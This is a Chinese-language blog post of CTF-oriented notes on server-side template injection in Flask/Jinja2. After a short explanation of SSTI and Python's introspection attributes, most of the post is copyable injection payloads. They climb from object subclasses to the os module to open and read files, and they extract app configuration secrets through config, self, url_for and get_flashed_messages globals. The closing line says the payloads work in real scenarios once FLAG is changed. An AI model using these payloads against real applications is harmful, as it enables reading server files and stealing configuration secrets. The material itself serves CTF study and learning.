SSTI-模板注入小知识
SSTI-模板注入小知识
flask/jinja
总结
SSTI
借鉴大佬博客:
https://www.cnblogs.com/20175211lyz/p/11425368.html
浅析SSTI(python沙盒绕过)
简要介绍
SSTI 全称Server Side Template Injection,服务器模板注入。
模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务端把用户输入的内容渲染成模板就可能造成SSTI。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig
flask/jinja
__dict__ 保存类实例或对象实例的属性变量键值对字典 __class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__ 返回该对象所继承的基类
__base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
{{config}}
可以获取当前设置,
如果题目有语句
app.config [‘FLAG’] = os.environ.pop(’FLAG’)
1
那可以直接访问 {{config[‘FLAG’]}} 或者 {{config.FLAG}} 得到flag
也可以使用{{self}}获取当前设置
使用 {{self.dict._TemplateReference__context.config}}
也可以找到当前设置config
一些注入语句:
{{os.listdir(‘.’)}} 访问当前目录下的文件有哪些
{{[].__class__.__base__.__subclasses__()}}访问所有模块
知道访问os模块都是从warnings.catch_warnings模块入手的。
找到catch_warnings的位置(上面查到的所有模块的索引,假如是59,即第59个模块)
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
可以查询到一些global函数,进入含有os模块的函数
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__}}
找寻到os模块
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’]}}
使用上面语句代替os模块使用
[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].read()
[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].open()
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].read([].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].open(“flag”,[].__class__.__base__.__subclasses__()[59].__init__.func_globals[‘linecache’].__dict__[‘o’+’s’].O_RDONLY),40)}}
如果config,self不能使用,要获取配置信息,可以使用下面的语句:
{{url_for.__globals__[‘current_app’].config.FLAG}}
{{get_flashed_messages.__globals__[‘current_app’].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__[‘json’].JSONEncoder.default.__globals__[‘current_app’].config[‘FLAG’]}}
在实际场景中,把FLAG修改一下就可以使用了